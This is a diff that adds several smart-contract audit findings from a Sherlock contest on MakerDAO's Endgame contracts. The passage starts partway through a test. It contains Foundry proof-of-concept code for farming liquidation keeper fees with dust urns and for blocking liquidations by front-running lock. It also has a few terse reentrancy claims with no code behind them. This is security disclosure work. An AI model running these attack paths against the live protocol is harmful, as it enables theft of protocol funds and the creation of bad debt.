open a urn + address urn = engine.open(0); + mkr.approve(address(engine), 100_000 * 10**18); + engine.lock(urn, 2000 * 10**18, 0); + //printBalance(address(urn), "urn"); + //printBalance(address(engine), "engine"); // where is mkr and lsmkr? + + engine.draw(urn, address(Bob), 20 ether); + vm.stopPrank(); + + console2.log("\n after draw....................."); + //printBalance(Bob, "Bob"); + //printBalance(address(urn), "urn"); + //printBalance(address(engine), "engine"); // where is mkr and lsmkr? + + + // lower the price of collaterl: + vm.startPrank(pauseProxy); + vat.file(ilk, "spot", 123); + vm.stopPrank(); // now we can liquidate urn + + console2.log("\n starto bark$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$"); + + assertEq(clip.kicks(), 0); + dss.dog.bark(ilk, urn, kpr); + assertEq(clip.kicks(), 1); + console2.log("\n after barking.............."); + printAuction(1); + //printBalance(Bob, "Bob"); + //printBalance(address(urn), "urn"); + //printBalance(address(clip), "clip"); // where is mkr and lsmkr? + //printBalance(address(engine), "engine"); // where is mkr and lsmkr? + + + // Bid so owe (= 25 * 5 = 125 RAD) > tab (= 110 RAD) + // Readjusts slice to be tab/top = 25 + vm.startPrank(pauseProxy); + dss.vat.file(ilk, "dust", rad(20 ether)); // so the actual chost should be douled + vm.stopPrank(); + + vm.prank(ali); + clip.take({ + id: 1, + amt: 2 ether, + max: 5000000000000000000000000000, + who: address(ali), // sli is the keeper + data: "" + }); + + console2.log("After clip.take...."); + + + printAuction(1); + //printBalance(Bob, "Bob"); + //printBalance(address(urn), "urn"); + //printBalance(address(clip), "clip"); // where is mkr and lsmkr? + //printBalance(address(engine), "engine"); // where is mkr and lsmkr? + + vm.warp(block.timestamp + 3600); + (bool needsRedo, uint256 price, uint256 lot, uint256 tab) = clip.getStatus(1); + console2.log("needsRedo: ", needsRedo); + + console2.log("current: ", clip.chost()); + + // clip.upchost(); // comment/uncomment this line to simulate the race condition + console2.log("The actual chost: ", clip.chost()); + + address frank = address(888); + clip.redo(1, frank); + printBalance(frank, "frank"); + } + +} +``` + + + + + +### Mitigation + +Add an incentive slipper control to ```redo``` such that if the incentive is smaller than the given threshhold, then the transaction will revert. \ No newline at end of file diff --git a/006.md b/006.md new file mode 100644 index 0000000..b326b70 --- /dev/null +++ b/006.md @@ -0,0 +1,125 @@ +Helpful Dijon Spider + +High + +# Attackers will steal Maker and its users by opening dust urns and instantly liquidating, stealing up to infinite funds + +### Summary + +`LockstakeClipper::kick()` always provides incentives to kick a liquidation auction, regardless of the size of the urn to liquidate. Thus, attackers can create urns with dust amounts, liquidate them in the next block as the rate has increased and steal keeper fees. The attack can be repeated as many times as the attacker wants, so it will have catastrophic impacts. + +Note: this issue is partially mentioned in the [readme](https://github.com/makerdao/sherlock-contest/blob/9a01337e8f82acdf699a5c1c54233636c640ca89/README.md#lockstake), but it fails to address the correct impact, as it assumes the `dust` threshold is always taken into account, but it is not and it is possible to create liquidations with an amount of 10 or similar. +> As with other collaterals, "tip" and "chip" are assumed to be chosen very carefuly, while taking into account the dust parameter and with having in mind incentive farming risks. + +### Root Cause + +In `LockstakeClipper::kick()`, incentives are always given, as can be seen in the code [below](https://github.com/sherlock-audit/2024-06-makerdao-endgame/blob/main/lockstake/src/LockstakeClipper.sol#L262-L265). +```solidity +function kick( + ... +) external auth lock isStopped(1) returns (uint256 id) { + ... + uint256 _tip = tip; + uint256 _chip = chip; + uint256 coin; + if (_tip > 0 || _chip > 0) { //@audit missing minimum amount check + coin = _tip + wmul(tab, _chip); + vat.suck(vow, kpr, coin); + } + ... +} +``` +This can be abused by attackers who created dust urns and liquidate them right away, stealing keeper fees. + +### Internal pre-conditions + +None. + +### External pre-conditions + +None. + +### Attack Path + +1. Attacker calls `LockstakeEngine::open()`, opening an urn (or reuses a previous one). +2. Attacker calls `LockstakeEngine::lock()`, locking a dust amount (such as 10) in the urn. +3. Attacker calls `LockstakeEngine::draw()`, drawing the maximum possible such that it is almost liquidated. +4. Attacker waits out 1 block. +5. Attacker calls `Jug::drip()`, increasing the interest rate on the borrows so the urn becomes liquidatable. +6. Attacker calls `Dog::bark()`, which calls `LockstakeClipper::kick()`, performing the liquidation and receiving the incentives through `Vat::suck()`. +7. Attacker calls `DaiJoin::exit()` and withdraws the DAI. +Steps 1-3 and 5-6 can be performed in a loop to increase the theft and decrease gas costs. + +### Impact + +Attacker receives keeper fees without actually contributing to the protocol. Due to the use of a flat tip as liquidation incentive, the protocol has to ensure that it only hands it out if the to be liquidated urn actually has collateral and debt to justify the incentive. Otherwise the mechanism can be abused by attackers that create dust lock and draw urns to steal the incentives, putting the whole protocol at risk. Thus, the attacker steals up to infinite funds from the protocol and creates a huge amount of debt, which would harm the protocol and all users. + +### PoC + +A poc was built forking block `20293240`, confirming that the described attack is possible and is very profitable for an attacker. The attack can be repeated as many times as the attacker wishes, as long as the incentives exceeds the gas cost. The bigger the number of iterations the more profit the attacker can make, which is theoretical unlimited and we can confirm that with only 50 iterations the attacker is able to get 5k $DAI spending only 271 USD in gas fees. + +```solidity +function test_POC_ProfitableLiquidation() public { + address attacker = makeAddr("attacker"); + uint256 lockAmount = 10; + uint256 numAttacks = 50; + address[] memory urns = new address[](numAttacks); + deal(address(mkr), attacker, lockAmount*numAttacks); + vm.startPrank(attacker); + + uint256 initGas = gasleft(); + mkr.approve(address(engine), type(uint256).max); + + for (uint i = 0; i < numAttacks; i++) { + urns[i] = engine.open(i); + engine.lock(urns[i], lockAmount, 0); + (,, uint256 spot,,) = dss.vat.ilks(ilk); + uint256 drawAmount = lockAmount * spot / RAY; + engine.draw(urns[i], attacker, drawAmount); + } + uint256 totalGas = initGas - gasleft(); + + skip(12); + + initGas = gasleft(); + for (uint i = 0; i < numAttacks; i++) { + dss.jug.drip(ilk); + dss.dog.bark(ilk, urns[i], attacker); + } + totalGas += initGas - gasleft(); + + initGas = gasleft(); + dss.vat.hope(address(dss.daiJoin)); + dss.daiJoin.exit(attacker, dss.vat.dai(attacker) / RAY); + totalGas += initGas - gasleft(); + + assertEq(totalGas, 29036936); + uint256 gasPrice = 3; // gwei + uint256 ethPrice = 3122; // USD + uint256 cost = totalGas * gasPrice * ethPrice / 1e9 ; + assertEq(cost, 271); + assertEq(dss.dai.balanceOf(attacker), 5000); +} +``` + +### Mitigation + +Implement a similar mitigation to the one performed in `LockstakeClipper::redo()`. It correctly [only](https://github.com/sherlock-audit/2024-06-makerdao-endgame/blob/main/lockstake/src/LockstakeClipper.sol#L306) hands out incentives if the size of the liquidation is bigger than a `chost` threshold, mitigating this attack vector. +```solidity +function redo( + ... +) external lock isStopped(2) { + ... + uint256 _tip = tip; + uint256 _chip = chip; + uint256 coin; + if (_tip > 0 || _chip > 0) { + uint256 _chost = chost; + if (tab >= _chost && lot * feedPrice >= _chost) { //@audit here this attack vector is correctly mitigated + coin = _tip + wmul(tab, _chip); + vat.suck(vow, kpr, coin); + } + } + ... +} +``` \ No newline at end of file diff --git a/006/014.md b/006/014.md new file mode 100644 index 0000000..09955b5 --- /dev/null +++ b/006/014.md @@ -0,0 +1,34 @@ +Fancy Cloth Orca + +High + +# h-01 reentrant with stolen of funds 0xaliyah + +## Summary + +1. while the temp. var; `balance` L222 is the misinformation toward the effect at L237 +2. while the temp. var; `balance` L222 is the lagging indication toward the effect at L237 if the `from` address was made any withdrawal or any transferFrom in the way that induced that reentry +3. L222 is the lagging indication +4. the `from` address made a withdrawal when the `transferFrom` function gave up control to the attacker at L222 +5. since withdraw made and L222 now stale then L237 give the now empty-balance `from` address free increment + +## Vulnerability Detail + +1. recipients for free balance increment may be found + +## Impact + +1. high impact + high likeliness owasp + +## Code Snippet + +[poc](https://github.com/sherlock-audit/2024-06-makerdao-endgame/blob/main/endgame-toolkit/src/SDAO.sol#L237) + +## Tool used + +Manual Review + +## Recommendation + +[checks effects interactions](https://fravoll.github.io/solidity-patterns/checks_effects_interactions.html) +[Will Shahda](https://medium.com/coinmonks/protect-your-solidity-smart-contracts-from-reentrancy-attacks-9972c3af7c21) \ No newline at end of file diff --git a/006/015.md b/006/015.md new file mode 100644 index 0000000..8cbfec9 --- /dev/null +++ b/006/015.md @@ -0,0 +1,35 @@ +Fancy Cloth Orca + +High + +# h-02 from address identical with to address with stolen of funds 0xaliyah + +## Summary + +1. while `from` address identical with `to` address +2. while the issue identified at [issue #1 h-01](https://github.com/sherlock-audit/2024-06-makerdao-endgame-sabatha7/issues/1) +3. L222 is the lagging indication +4. the same address made a withdrawal when the `transferFrom` function gave up control to the attacker at L222 +5. L237 give the same address free increment +6. L240 give the same address free increment + +## Vulnerability Detail + +1. recipients for free balance increment may be found + +## Impact + +1. high impact + high likeliness owasp + +## Code Snippet + +[poc](https://github.com/sherlock-audit/2024-06-makerdao-endgame/blob/main/endgame-toolkit/src/SDAO.sol#L240) + +## Tool used + +Manual Review + +## Recommendation + +[checks effects interactions](https://fravoll.github.io/solidity-patterns/checks_effects_interactions.html) +[Will Shahda](https://medium.com/coinmonks/protect-your-solidity-smart-contracts-from-reentrancy-attacks-9972c3af7c21) \ No newline at end of file diff --git a/006/016.md b/006/016.md new file mode 100644 index 0000000..b704bd5 --- /dev/null +++ b/006/016.md @@ -0,0 +1,34 @@ +Fancy Cloth Orca + +High + +# h-03 reentrant with stolen of funds 0xaliyah + +## Summary + +1. while the temp. var; `balance` L197 is the misinformation toward the effect at L201 +2. while the temp. var; `balance` L197 is the lagging indication toward the effect at L201 if the `msg.sender` address was made any withdrawal or any transferFrom in the way that induced that reentry +3. L197 is the lagging indication +4. the `msg.sender` address made a withdrawal when the `transfer` function gave up control to the attacker at L197 +5. given `msg.sender` is now emptied since L197 capturing and L197 now stale then L201 give the `msg.sender` address free increment + +## Vulnerability Detail + +1. recipients for free balance increment may be found + +## Impact + +1. high impact + high likeliness owasp + +## Code Snippet + +[poc](https://github.com/sherlock-audit/2024-06-makerdao-endgame/blob/main/endgame-toolkit/src/SDAO.sol#L201) + +## Tool used + +Manual Review + +## Recommendation + +[checks effects interactions](https://fravoll.github.io/solidity-patterns/checks_effects_interactions.html) +[Will Shahda](https://medium.com/coinmonks/protect-your-solidity-smart-contracts-from-reentrancy-attacks-9972c3af7c21) \ No newline at end of file diff --git a/007/062.md b/007/062.md new file mode 100644 index 0000000..edf3124 --- /dev/null +++ b/007/062.md @@ -0,0 +1,418 @@ +Bitter Marmalade Iguana + +Medium + +# An attacker can prevent liquidation by calling `lock` + +## Summary +The `chief` contract does not allow calling `free` in the same block that `lock` is called. When a VoteDelegate (VD) is selected, `chief.free` is called during liquidation. An attacker can call `LSE.lock` every block, or simply front-run liquidations, to avoid them. + +## Vulnerability Detail + +Liquidations will revert because `dog.bark` => `LSClipper.kick` => `LSE.onKick` => `LSE._selectVoteDelegate` => `VoteDelegateLike(prevVoteDelegate).free(wad);` => [`chief.free(wad);` ](https://github.com/sherlock-audit/2024-06-makerdao-endgame/blob/main/vote-delegate/src/VoteDelegate.sol#L98)will revert. + +See [current chief](https://vscode.blockscan.com/ethereum/0x0a3f6849f78076aefaDf113F5BED87720274dDC0) lines 459 and 448. Note: GitHub has an outdated version. + +The liquidator will also have to pay for reverting transactions, which may make liquidations unprofitable. + +The cost of the attack is 135,767 gas. It’s $0.8 when gas costs 2 gwei and $3,000/Eth: +0.8 x 5 (blocks per minute) x 60 = $240/hour or $5,760/day. + +The attacker may wish to delay the liquidation if they believe the collateral price will increase, avoiding the 15% fee (see onRemove). Delaying liquidation can be economically more profitable, especially for large positions, considering the constant attack cost that does not depend on position size. + +If the price of the collateral decreases significantly during the attack, it can create significant bad debt for the system. + +### Similar Issues +(Valid mediums) +- https://github.com/code-423n4/2024-02-wise-lending-findings/issues/237#issuecomment-2020890116 +- https://github.com/code-423n4/2024-01-salty-findings/issues/312 + +## Impact +An attacker can indefinitely delay the liquidation for $240/hour or deny liquidations by front-running them. This can cause losses for the protocol, as positions can go underwater and create bad debt, depending on the collateral type used. + +## Code Snippet +> PoC +1. Create `test/ALockstakeEngine.sol` in the root project directory. +
test/ALockstakeEngine.sol + +```solidity +// SPDX-License-Identifier: AGPL-3.0-or-later + +pragma solidity ^0.8.21; + +import "../dss-flappers/lib/dss-test/src//DssTest.sol"; +import "../dss-flappers/lib/dss-test/lib/dss-interfaces/src/Interfaces.sol"; +import { LockstakeDeploy } from "../lockstake/deploy/LockstakeDeploy.sol"; +import { LockstakeInit, LockstakeConfig, LockstakeInstance } from "../lockstake/deploy/LockstakeInit.sol"; +import { LockstakeMkr } from "../lockstake/src/LockstakeMkr.sol"; +import { LockstakeEngine } from "../lockstake/src/LockstakeEngine.sol"; +import { LockstakeClipper } from "../lockstake/src/LockstakeClipper.sol"; +import { LockstakeUrn } from "../lockstake/src/LockstakeUrn.sol"; +import { VoteDelegateFactoryMock, VoteDelegateMock } from "../lockstake/test/mocks/VoteDelegateMock.sol"; +import { GemMock } from "../lockstake/test/mocks/GemMock.sol"; +import { NstMock } from "../lockstake/test/mocks/NstMock.sol"; +import { NstJoinMock } from "../lockstake/test/mocks/NstJoinMock.sol"; +import { StakingRewardsMock } from "../lockstake/test/mocks/StakingRewardsMock.sol"; +import { MkrNgtMock } from "../lockstake/test/mocks/MkrNgtMock.sol"; + +import {VoteDelegateFactory} from "../vote-delegate/src/VoteDelegateFactory.sol"; +import {VoteDelegate} from "../vote-delegate/src/VoteDelegate.sol"; + + +contract DSChiefLike { + DSTokenAbstract public IOU; + DSTokenAbstract public GOV; + mapping(address=>uint256) public deposits; + function free(uint wad) public {} + function lock(uint wad) public {} +} + +interface CalcFabLike { + function newLinearDecrease(address) external returns (address); +} + +interface LineMomLike { + function ilks(bytes32) external view returns (uint256); +} + +interface MkrAuthorityLike { + function rely(address) external; +} + +contract ALockstakeEngineTest is DssTest { + using stdStorage for StdStorage; + + DssInstance dss; + address pauseProxy; + DSTokenAbstract mkr; + LockstakeMkr lsmkr; + LockstakeEngine engine; + LockstakeClipper clip; + address calc; + MedianAbstract pip; + VoteDelegateFactory voteDelegateFactory; + NstMock nst; + NstJoinMock nstJoin; + GemMock rTok; + StakingRewardsMock farm; + StakingRewardsMock farm2; + MkrNgtMock mkrNgt; + GemMock ngt; + bytes32 ilk = "LSE"; + address voter; + address voteDelegate; + + LockstakeConfig cfg; + + uint256 prevLine; + + address constant LOG = 0xdA0Ab1e0017DEbCd72Be8599041a2aa3bA7e740F; + + event AddFarm(address farm); + event DelFarm(address farm); + event Open(address indexed owner, uint256 indexed index, address urn); + event Hope(address indexed urn, address indexed usr); + event Nope(address indexed urn, address indexed usr); + event SelectVoteDelegate(address indexed urn, address indexed voteDelegate_); + event SelectFarm(address indexed urn, address farm, uint16 ref); + event Lock(address indexed urn, uint256 wad, uint16 ref); + event LockNgt(address indexed urn, uint256 ngtWad, uint16 ref); + event Free(address indexed urn, address indexed to, uint256 wad, uint256 freed); + event FreeNgt(address indexed urn, address indexed to, uint256 ngtWad, uint256 ngtFreed); + event FreeNoFee(address indexed urn, address indexed to, uint256 wad); + event Draw(address indexed urn, address indexed to, uint256 wad); + event Wipe(address indexed urn, uint256 wad); + event GetReward(address indexed urn, address indexed farm, address indexed to, uint256 amt); + event OnKick(address indexed urn, uint256 wad); + event OnTake(address indexed urn, address indexed who, uint256 wad); + event OnRemove(address indexed urn, uint256 sold, uint256 burn, uint256 refund); + + function _divup(uint256 x, uint256 y) internal pure returns (uint256 z) { + // Note: _divup(0,0) will return 0 differing from natural solidity division + unchecked { + z = x != 0 ? ((x - 1) / y) + 1 : 0; + } + } + + // Real contracts for mainnet + address chief = 0x0a3f6849f78076aefaDf113F5BED87720274dDC0; + address polling = 0xD3A9FE267852281a1e6307a1C37CDfD76d39b133; + uint chiefBalanceBeforeTests; + + function setUp() public virtual { + vm.createSelectFork(vm.envString("ETH_RPC_URL"), 20422954); + + dss = MCD.loadFromChainlog(LOG); + + pauseProxy = dss.chainlog.getAddress("MCD_PAUSE_PROXY"); + pip = MedianAbstract(dss.chainlog.getAddress("PIP_MKR")); + mkr = DSTokenAbstract(dss.chainlog.getAddress("MCD_GOV")); + nst = new NstMock(); + nstJoin = new NstJoinMock(address(dss.vat), address(nst)); + rTok = new GemMock(0); + ngt = new GemMock(0); + mkrNgt = new MkrNgtMock(address(mkr), address(ngt), 24_000); + vm.startPrank(pauseProxy); + MkrAuthorityLike(mkr.authority()).rely(address(mkrNgt)); + vm.stopPrank(); + + // voteDelegateFactory = new VoteDelegateFactoryMock(address(mkr)); + voteDelegateFactory = new VoteDelegateFactory( + chief, polling + ); + voter = address(123); + vm.prank(voter); voteDelegate = voteDelegateFactory.create(); + + vm.prank(pauseProxy); pip.kiss(address(this)); + vm.store(address(pip), bytes32(uint256(1)), bytes32(uint256(1_500 * 10**18))); + + LockstakeInstance memory instance = LockstakeDeploy.deployLockstake( + address(this), + pauseProxy, + address(voteDelegateFactory), + address(nstJoin), + ilk, + 15 * WAD / 100, + address(mkrNgt), + bytes4(abi.encodeWithSignature("newLinearDecrease(address)")) + ); + + engine = LockstakeEngine(instance.engine); + clip = LockstakeClipper(instance.clipper); + calc = instance.clipperCalc; + lsmkr = LockstakeMkr(instance.lsmkr); + farm = new StakingRewardsMock(address(rTok), address(lsmkr)); + farm2 = new StakingRewardsMock(address(rTok), address(lsmkr)); + + address[] memory farms = new address[](2); + farms[0] = address(farm); + farms[1] = address(farm2); + + cfg = LockstakeConfig({ + ilk: ilk, + voteDelegateFactory: address(voteDelegateFactory), + nstJoin: address(nstJoin), + nst: address(nstJoin.nst()), + mkr: address(mkr), + mkrNgt: address(mkrNgt), + ngt: address(ngt), + farms: farms, + fee: 15 * WAD / 100, + maxLine: 10_000_000 * 10**45, + gap: 1_000_000 * 10**45, + ttl: 1 days, + dust: 50, + duty: 100000001 * 10**27 / 100000000, + mat: 3 * 10**27, + buf: 1.25 * 10**27, // 25% Initial price buffer + tail: 3600, // 1 hour before reset + cusp: 0.2 * 10**27, // 80% drop before reset + chip: 2 * WAD / 100, + tip: 3, + stopped: 0, + chop: 1 ether, + hole: 10_000 * 10**45, + tau: 100, + cut: 0, + step: 0, + lineMom: true, + tolerance: 0.5 * 10**27, + name: "LOCKSTAKE", + symbol: "LMKR" + }); + + prevLine = dss.vat.Line(); + + vm.startPrank(pauseProxy); + LockstakeInit.initLockstake(dss, instance, cfg); + vm.stopPrank(); + + deal(address(mkr), address(this), 100_000 * 10**18, true); + deal(address(ngt), address(this), 100_000 * 24_000 * 10**18, true); + + // Add some existing DAI assigned to nstJoin to avoid a particular error + stdstore.target(address(dss.vat)).sig("dai(address)").with_key(address(nstJoin)).depth(0).checked_write(100_000 * RAD); + + chiefBalanceBeforeTests = mkr.balanceOf(chief); + } + +} +``` +
+ +It is based on the `LockstakeEngine.t.sol` `setUp` function: +- Fixed imports +- Added `block.number` for caching RPC calls +- Added `chief` and `polling` contracts from mainnet +- Added the real `VoteDelegateFactory` + +To see the diff, you can run `git diff`. Note: all other functions except `setUp` are removed from the file and the diff. + +
git diff --no-index lockstake/test/LockstakeEngine.t.sol test/ALockstakeEngine.sol + +```diff +diff --git a/lockstake/test/LockstakeEngine.t.sol b/test/ALockstakeEngine.sol +index 83fa75d..ba4f381 100644 +--- a/lockstake/test/LockstakeEngine.t.sol ++++ b/test/ALockstakeEngine.sol +@@ -2,20 +2,32 @@ + + pragma solidity ^0.8.21; + +-import "dss-test/DssTest.sol"; +-import "dss-interfaces/Interfaces.sol"; +-import { LockstakeDeploy } from "deploy/LockstakeDeploy.sol"; +-import { LockstakeInit, LockstakeConfig, LockstakeInstance } from "deploy/LockstakeInit.sol"; +-import { LockstakeMkr } from "src/LockstakeMkr.sol"; +-import { LockstakeEngine } from "src/LockstakeEngine.sol"; +-import { LockstakeClipper } from "src/LockstakeClipper.sol"; +-import { LockstakeUrn } from "src/LockstakeUrn.sol"; +-import { VoteDelegateFactoryMock, VoteDelegateMock } from "test/mocks/VoteDelegateMock.sol"; +-import { GemMock } from "test/mocks/GemMock.sol"; +-import { NstMock } from "test/mocks/NstMock.sol"; +-import { NstJoinMock } from "test/mocks/NstJoinMock.sol"; +-import { StakingRewardsMock } from "test/mocks/StakingRewardsMock.sol"; +-import { MkrNgtMock } from "test/mocks/MkrNgtMock.sol"; ++import "../dss-flappers/lib/dss-test/src//DssTest.sol"; ++import "../dss-flappers/lib/dss-test/lib/dss-interfaces/src/Interfaces.sol"; ++import { LockstakeDeploy } from "../lockstake/deploy/LockstakeDeploy.sol"; ++import { LockstakeInit, LockstakeConfig, LockstakeInstance } from "../lockstake/deploy/LockstakeInit.sol"; ++import { LockstakeMkr } from "../lockstake/src/LockstakeMkr.sol"; ++import { LockstakeEngine } from "../lockstake/src/LockstakeEngine.sol"; ++import { LockstakeClipper } from "../lockstake/src/LockstakeClipper.sol"; ++import { LockstakeUrn } from "../lockstake/src/LockstakeUrn.sol"; ++import { VoteDelegateFactoryMock, VoteDelegateMock } from "../lockstake/test/mocks/VoteDelegateMock.sol"; ++import { GemMock } from "../lockstake/test/mocks/GemMock.sol"; ++import { NstMock } from "../lockstake/test/mocks/NstMock.sol"; ++import { NstJoinMock } from "../lockstake/test/mocks/NstJoinMock.sol"; ++import { StakingRewardsMock } from "../lockstake/test/mocks/StakingRewardsMock.sol"; ++import { MkrNgtMock } from "../lockstake/test/mocks/MkrNgtMock.sol"; ++ ++import {VoteDelegateFactory} from "../vote-delegate/src/VoteDelegateFactory.sol"; ++import {VoteDelegate} from "../vote-delegate/src/VoteDelegate.sol"; ++ ++ ++contract DSChiefLike { ++ DSTokenAbstract public IOU; ++ DSTokenAbstract public GOV; ++ mapping(address=>uint256) public deposits; ++ function free(uint wad) public {} ++ function lock(uint wad) public {} ++} + + interface CalcFabLike { + function newLinearDecrease(address) external returns (address); +@@ -29,7 +41,7 @@ interface MkrAuthorityLike { + function rely(address) external; + } + +-contract LockstakeEngineTest is DssTest { ++contract ALockstakeEngineTest is DssTest { + using stdStorage for StdStorage; + + DssInstance dss; +@@ -40,7 +52,7 @@ contract LockstakeEngineTest is DssTest { + LockstakeClipper clip; + address calc; + MedianAbstract pip; +- VoteDelegateFactoryMock voteDelegateFactory; ++ VoteDelegateFactory voteDelegateFactory; + NstMock nst; + NstJoinMock nstJoin; + GemMock rTok; +@@ -84,8 +96,13 @@ contract LockstakeEngineTest is DssTest { + } + } + +- function setUp() public { +- vm.createSelectFork(vm.envString("ETH_RPC_URL")); ++ // Real contracts for mainnet ++ address chief = 0x0a3f6849f78076aefaDf113F5BED87720274dDC0; ++ address polling = 0xD3A9FE267852281a1e6307a1C37CDfD76d39b133; ++ uint chiefBalanceBeforeTests; ++ ++ function setUp() public virtual { ++ vm.createSelectFork(vm.envString("ETH_RPC_URL"), 20422954); + + dss = MCD.loadFromChainlog(LOG); + +@@ -101,7 +118,10 @@ contract LockstakeEngineTest is DssTest { + MkrAuthorityLike(mkr.authority()).rely(address(mkrNgt)); + vm.stopPrank(); + +- voteDelegateFactory = new VoteDelegateFactoryMock(address(mkr)); ++ // voteDelegateFactory = new VoteDelegateFactoryMock(address(mkr)); ++ voteDelegateFactory = new VoteDelegateFactory( ++ chief, polling ++ ); + voter = address(123); + vm.prank(voter); voteDelegate = voteDelegateFactory.create(); +``` + +
+ +2. Add the following `remappings.txt` to the root project directory. +```txt +dss-interfaces/=dss-flappers/lib/dss-test/lib/dss-interfaces/src/ +dss-test/=dss-flappers/lib/dss-test/src/ +forge-std/=dss-flappers/lib/dss-test/lib/forge-std/src/ +@openzeppelin/contracts/=sdai/lib/openzeppelin-contracts-upgradeable/lib/openzeppelin-contracts/contracts/ +@openzeppelin/contracts-upgradeable/=sdai/lib/openzeppelin-contracts-upgradeable/contracts/ +solidity-stringutils=nst/lib/openzeppelin-foundry-upgrades/lib/solidity-stringutils/ +lockstake:src/=lockstake/src/ +vote-delegate:src/=vote-delegate/src/ +sdai:src/=sdai/src/ +``` + + + 3. Run `forge test --match-path test/ALSEH7.sol` from root project directory +```solidity +// SPDX-License-Identifier: AGPL-3.0-or-later + +pragma solidity ^0.8.21; + +import "./ALockstakeEngine.sol"; + +contract ALSEH7 is ALockstakeEngineTest { + function testLiquidate() external { + deal(address(mkr), address(this), 100_000 * 10**18, true); + address urn = engine.open(0); + mkr.approve(address(engine), 100_000 * 10**18); + engine.lock(urn, 50_000 * 10**18, 5); + engine.draw(urn, address(this), 50_000 * 10**18); + engine.selectVoteDelegate(urn, voteDelegate); + + uint gasBefore = gasleft(); + engine.lock(urn, 1, 0); + console.log(gasBefore - gasleft()); + + // Same block + _testLiquidateUsingDog(address(this), "", true); + + vm.roll(block.timestamp + 1); + _testLiquidateUsingDog(address(this), "", false); + } + + function _testLiquidateUsingDog(address user, string memory revertMsg, bool expectRevert) internal { + address urn = engine.getUrn(user, 0); + + // Force the urn to be unsafe + _changeMkrPrice(0.05 * 10**18); + + if (expectRevert) vm.expectRevert(bytes(revertMsg)); + dss.dog.bark(ilk, urn, makeAddr("kpr")); + } + + function _changeMkrPrice(uint newPrice) internal { + vm.store(address(pip), bytes32(uint256(1)), bytes32(uint256(newPrice))); + dss.spotter.poke(ilk); + } +} +``` + +## Tool used + +Manual Review + +## Recommendation +Consider disallowing `LSE.lock` if the position is still liquidatable after the `lock`. \ No newline at end of file diff --git a/007/091.md b/007/091.md new file mode 100644 index 0000000..b8ba2df --- /dev/null +++ b/007/091.md @@ -0,0 +1,75 @@ +Raspy Daffodil Wasp + +Medium + +# Attackers can prevent liquidation + +### Summary + +locker by calling `LockstakeEngine.lock` causes `onKick -> VoteDelegate.free` to fail. This leads to the failure of liquidation. + +### Root Cause + + +onKick -> _selectVoteDelegate -> VoteDelegateLike(prevVoteDelegate).free(wad) -> chief.free(wad) -> require(block.number > last[msg.sender]) + +`onKick` will eventually call `chief.free`. If `chief.lock` is called, the call to `chief.free` will fail in the same block, so `onKick` will fail. + +If `onKick` cannot be called, the liquidation fails. + +https://etherscan.io/address/0x0a3f6849f78076aefadf113f5bed87720274ddc0#code + +```solidity + function lock(uint wad) public note{ +@> last[msg.sender] = block.number; + GOV.pull(msg.sender, wad); + IOU.mint(msg.sender, wad); + deposits[msg.sender] = add(deposits[msg.sender], wad); + addWeight(wad, votes[msg.sender]); + } + +``` + + +`reserveHatch` prevents `VoteDelegate.lock` from being called multiple times, but the attacker can still call it in a certain time interval. + +When block.number > hatchTrigger + HATCH_SIZE and block.number < hatchTrigger + HATCH_SIZE + HATCH_COOLDOWN + +If liquidation occurs at this point, the user can avoid liquidation by calling the `lock` function. + +The liquidation was not carried out in time, and if the price continued to fall it would result in the loss of user funds. + +`LockstakeEngine.lock` can be called by anything, and an attacker can call this function by locking a small number of tokens. + +https://github.com/sherlock-audit/2024-06-makerdao-endgame/blob/dba30d7a676c20dfed3bda8c52fd6702e2e85bb1/vote-delegate/src/VoteDelegate.sol#L98 + +https://github.com/sherlock-audit/2024-06-makerdao-endgame/blob/dba30d7a676c20dfed3bda8c52fd6702e2e85bb1/lockstake/src/LockstakeEngine.sol#L426 + + +### Internal pre-conditions + +1. The user needs to be liquidated + + +### External pre-conditions + +1. block.number > hatchTrigger + HATCH_SIZE and block.number < hatchTrigger + HATCH_SIZE + HATCH_COOLDOWN + +### Attack Path + +The attackers found out that someone was going to be liquidated. +The attacker uses `front-runnig` to invoke `LockstakeEngine.lock` before `onKick` is invoked. +The `onKick` call fails and the attacker prevents himself from being liquidated. +The attack may fail depending on the value of the `hatchTrigger`, but it can also be successful in 1 block or 20 blocks(HATCH_COOLDOWN = 20). + +### Impact + +Causes a liquidation failure within the time limit allowed by hatchTrigger. Failure to settle in a timely manner may result in a loss of the funds (asset prices continue to fall) + +### PoC + +_No response_ + +### Mitigation + +Allow the clearing module to call `chieft.free` without relying on `hatchTrigger` checks. \ No newline at end of file diff --git a/007/101.md b/007/101.md new file mode 100644 index 0000000..1477efe --- /dev/null +++ b/007/101.md @@ -0,0 +1,148 @@ +Interesting Tiger Mole + +Medium + +# An attacker can prevent liquidation by using the frontfun voteDelegate::lock() function when their position is being liquidated. + +### Summary + +voteDelegate::lock() allows setting zero amount, enabling attackers to front-run the liquidation function with this function to block the liquidation. + +### Root Cause + +And within VoteDelegateLike(voteDelegate).lock(), it calls chief.lock(wad);. +https://github.com/sherlock-audit/2024-06-makerdao-endgame/blob/main/vote-delegate/src/VoteDelegate.sol#L85 +```javascript + function lock(uint256 wad) external { + require(block.number == hatchTrigger || block.number > hatchTrigger + HATCH_SIZE, + "VoteDelegate/no-lock-during-hatch"); + gov.transferFrom(msg.sender, address(this), wad); +@> chief.lock(wad); + stake[msg.sender] += wad; + + emit Lock(msg.sender, wad); + } + +``` +In the chief contract, chief.free() cannot be called in the same block as chief.lock(). +https://vscode.blockscan.com/ethereum/0x0a3f6849f78076aefaDf113F5BED87720274dDC0 +```javascript +function lock(uint wad) + public + note + { +@> last[msg.sender] = block.number; + GOV.pull(msg.sender, wad); + IOU.mint(msg.sender, wad); + deposits[msg.sender] = add(deposits[msg.sender], wad); + addWeight(wad, votes[msg.sender]); + } + + function free(uint wad) + public + note + { +@> require(block.number > last[msg.sender]); + deposits[msg.sender] = sub(deposits[msg.sender], wad); + subWeight(wad, votes[msg.sender]); + IOU.burn(msg.sender, wad); + GOV.push(msg.sender, wad); + } + +``` +Therefore, calling voteDelegate::lock(0) within the same block results in a revert. +This will cause the liquidation process: Dog::bark() -> LockstakeClipper::kick() -> LockstakeEngine::onKick() to revert. + +https://vscode.blockscan.com/ethereum/0x135954d155898D42C90D2a57824C690e0c7BEf1B + +https://github.com/sherlock-audit/2024-06-makerdao-endgame/blob/main/lockstake/src/LockstakeClipper.sol#L229 + +```javascript +function kick( + uint256 tab, // Debt [rad] + uint256 lot, // Collateral [wad] + address usr, // Address that will receive any leftover collateral; additionally assumed here to be 